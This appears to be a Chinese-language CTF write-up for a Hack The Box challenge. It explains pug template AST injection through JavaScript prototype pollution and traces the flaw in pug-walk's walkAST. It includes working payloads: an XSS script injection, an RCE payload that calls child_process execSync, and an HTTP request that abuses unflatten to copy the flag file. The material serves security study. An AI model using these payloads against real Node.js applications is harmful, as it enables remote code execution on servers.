最近在做 HTB 的题目时,遇到了一道 pug 模板注入的题,顺带学习一下 js web 中可能遇到的安全问题:AST Injection 。

模板引擎

Js web 开发中常用的模板引擎:ejs、pug、handlebars 等,都是用于动态渲染 HTML 元素,从而复用页面结构,减少代码量的工具。

简单使用

ejs

安装 ejs 模块

npm install ejs

Hello world

const ejs = require('ejs')  
  
const tmpl = `  
<!DOCTYPE html>  
<html lang="en">  
<body>  
    <h1>Hello, <%= username%>!</h1>
</body>  
</html>  
`  
const data = { username: 'admin' }  
const html = ejs.render(tmpl, data)  
  
console.log(html)

pug

安装 pug

npm install pug

Hello world

const pug = require('pug')  
  
const tmpl = `  
<!DOCTYPE html>  
<html lang="en">  
<body>  
    <h1>Hello, #{ username }!</h1>
</body>
</html>  
`  
const compiledTmpl = pug.compile(tmpl)  
  
const data = { username: 'admin' }  
const html = compiledTmpl(data)  
  
console.log(html)

handlebars

安装 handlebars

npm install handlebars

Hello world

const handlebars = require('handlebars')  
  
const tmpl = `  
<!DOCTYPE html>  
<html lang="en">  
<body>  
    <h1>Hello, {{ username }}!</h1>
</body> 
</html>  
`  
const compiledTmpl = handlebars.compile(tmpl)  
  
const data = { username: 'admin' }  
const html = compiledTmpl(data)  
  
console.log(html)

工作原理

模板引擎实际上就是一个编译器,通过解析编写的模板语言,编译出新的 js 代码,然后再渲染执行。流程图如下:

在进行语法分析,即构造 AST 语法树的过程中,会有大量的节点操作,包括赋值、循环等,从网上查询资料可知,大部分模板引擎对于这部分的写法大都如下:

attrs[name] = attrs[value]  

if (ast.block) {

}

for (var i in node) {

}

存在问题

按照以上的写法,就存在以下问题:

attrs[name] = attrs[value] :赋值操作未判断对应的属性是否为对象自身的属性,导致访问到原型链的 Object.prototype 的属性。

if(ast.block) :判断某个属性是否存在,未判断是否为对象自身属性是否存在,若存在原型链污染,则可以进入if判断。

for(var i in node) :遍历对象的所有可枚举属性,包括原型链上的属性。

以上问题可表现如下:

let obj = {'a': 1, 'b': 2}

obj.__proto__.c = 3;

for (let i in obj) {  
    console.log(obj[i]);  
}

这样一来,如果代码中存在原型链污染,就可以随意地修改 AST 树,进而影响最终生成的代码,造成 XSS 或者 RCE 。

pug AST Injection

例子

const pug = require('pug')  
  
// 原型链污染  
Object.prototype.block = {'type': 'Text', 'val': `<script>console.log("Code Injection!")</script>`}  
  
// 模板编译  
const tmpl = `<h1>#{ msg }</h1>`  
const comp = pug.compile(tmpl)  
const html = comp({msg: 'It work!'})  
  
console.log(html)

这里就是通过原型链污染影响了 AST 树的生成过程,进而注入代码的效果。

流程分析

const comp = pug.compile(tmpl) 处打断点,跟进调试:

进入 compile 之后,这里本质上是进入了一个匿名函数,通过原型链污染注入了想要执行的代码:

尝试打印出 pug 模板引擎对这段模板编译时生成的 AST 树,跟进到 node_modules/pug/lib/index.js#compileBody

{
	"type": "Block",
	"nodes": [{
		"type": "Text",
		"val": "<h1>",
		"line": 1,
		"column": 1,
		"isHtml": true
	}, {
		"type": "Code",
		"val": " msg ",
		"buffer": true,
		"mustEscape": true,
		"isInline": true,
		"line": 1,
		"column": 5,
		"block": {
			"type": "Text",
			"val": "<script>console.log(\"Code Injection!\")</script>"
		}
	}, {
		"type": "Text",
		"val": "</h1>",
		"line": 1,
		"column": 13,
		"isHtml": true
	}],
	"line": 0
}

AST 树生成之后,会接着进入到 node_modules/pug-walk/index.js#walkAST ,处理树上的每个节点:

function walkAST(ast, before, after, options) {  
  if (after && typeof after === 'object' && typeof options === 'undefined') {  
    options = after;  
    after = null;  
  }  
  options = options || {includeDependencies: false};  
  var parents = (options.parents = options.parents || []);  
  
  var replace = function replace(replacement) {  
    if (Array.isArray(replacement) && !replace.arrayAllowed) {  
      throw new Error(  
        'replace() can only be called with an array if the last parent is a Block or NamedBlock'  
      );  
    }  
    ast = replacement;  
  };  
  replace.arrayAllowed =  
    parents[0] &&  
    (/^(Named)?Block$/.test(parents[0].type) ||  
      (parents[0].type === 'RawInclude' && ast.type === 'IncludeFilter'));  
  
  if (before) {  
    var result = before(ast, replace);  
    if (result === false) {  
      return ast;  
    } else if (Array.isArray(ast)) {  
      // return right here to skip after() call on array  
      return walkAndMergeNodes(ast);  
    }  
  }  
  
  parents.unshift(ast);  
  
  switch (ast.type) {  
    case 'NamedBlock':  
    case 'Block':  
      ast.nodes = walkAndMergeNodes(ast.nodes);  
      break;  
    case 'Case':  
    case 'Filter':  
    case 'Mixin':  
    case 'Tag':  
    case 'InterpolatedTag':  
    case 'When':  
    case 'Code':  
    case 'While':  
      if (ast.block) {  
        ast.block = walkAST(ast.block, before, after, options);  
      }  
      break;  
    case 'Each':  
      if (ast.block) {  
        ast.block = walkAST(ast.block, before, after, options);  
      }  
      if (ast.alternate) {  
        ast.alternate = walkAST(ast.alternate, before, after, options);  
      }  
      break;  
    case 'EachOf':  
      if (ast.block) {  
        ast.block = walkAST(ast.block, before, after, options);  
      }  
      break;  
    case 'Conditional':  
      if (ast.consequent) {  
        ast.consequent = walkAST(ast.consequent, before, after, options);  
      }  
      if (ast.alternate) {  
        ast.alternate = walkAST(ast.alternate, before, after, options);  
      }  
      break;  
    case 'Include':  
      walkAST(ast.block, before, after, options);  
      walkAST(ast.file, before, after, options);  
      break;  
    case 'Extends':  
      walkAST(ast.file, before, after, options);  
      break;  
    case 'RawInclude':  
      ast.filters = walkAndMergeNodes(ast.filters);  
      walkAST(ast.file, before, after, options);  
      break;  
    case 'Attrs':  
    case 'BlockComment':  
    case 'Comment':  
    case 'Doctype':  
    case 'IncludeFilter':  
    case 'MixinBlock':  
    case 'YieldBlock':  
    case 'Text':  
      break;  
    case 'FileReference':  
      if (options.includeDependencies && ast.ast) {  
        walkAST(ast.ast, before, after, options);  
      }  
      break;  
    default:  
      throw new Error('Unexpected node type ' + ast.type);  
      break;  
  }  
  
  parents.shift();  
  
  after && after(ast, replace);  
  return ast;  
  
  function walkAndMergeNodes(nodes) {  
    return nodes.reduce(function(nodes, node) {  
      var result = walkAST(node, before, after, options);  
      if (Array.isArray(result)) {  
        return nodes.concat(result);  
      } else {  
        return nodes.concat([result]);  
      }  
    }, []);  
  }  
}

结合刚才打印出来的 AST 语法树,在 walkAST 函数中,执行的顺序如下:

Block -> Text -> Code -> Text -> Text ...

在解析到 Code 类型时,会执行下面的代码:

判断当前节点的 ast.block 属性,如果存在,则递归解析 block

如果某个地方存在原型链污染,使得:

Object.prototype.block = {'type': 'Text', 'val': `<script>console.log("Code Injection!")</script>`} 

那么,但引擎解析执行到 if (ast.block) 时,就会访问到 ast.__proto__.blockObject.prototype.block ,这样恶意代码就被注入到了 AST 树中,可造成 XSS 或 RCE。

RCE

根据上面的分析,pug 模板引擎在编译生成 AST 树的过程中,可以通过原型链污染注入代码,如果能够通过构造注入 AST ,插入一个新的节点,使其成为新的 Js 代码,自然也就可以实现 RCE 了。

node_modules/pug-code-gen/index.js#visit 中,存在以下代码:

这里就可以通过原型链污染 node.line ,实现代码的注入。

构造 payload 如下:

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('whoami').toString())`};

成功实现 RCE 。

题目解析

回到 HTB 的这道题目:

下载题目附件之后进行代码审计:

routes/index.js 中:

首先使用了 unflatten 来解析请求体中的参数,然后使用 pug.compile 进行模板编译。

unflatten 这个库是存在原型链污染漏洞的,结合上面分析的 pug AST 注入,满足 RCE 的条件。构造 payload 如下:

POST /api/submit HTTP/1.1
Content-Type: application/json
Host: 94.237.48.79:43586
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Length: 23

{
    "artist.name":"Haigh",
    "__proto__.block": {
        "type": "Text",
        "line": "console.log(process.mainModule.require('child_process').execSync('cat /app/flag* > /app/static/flag.txt').toString())"
    }
}

然后访问 /static/flag.txt 即可: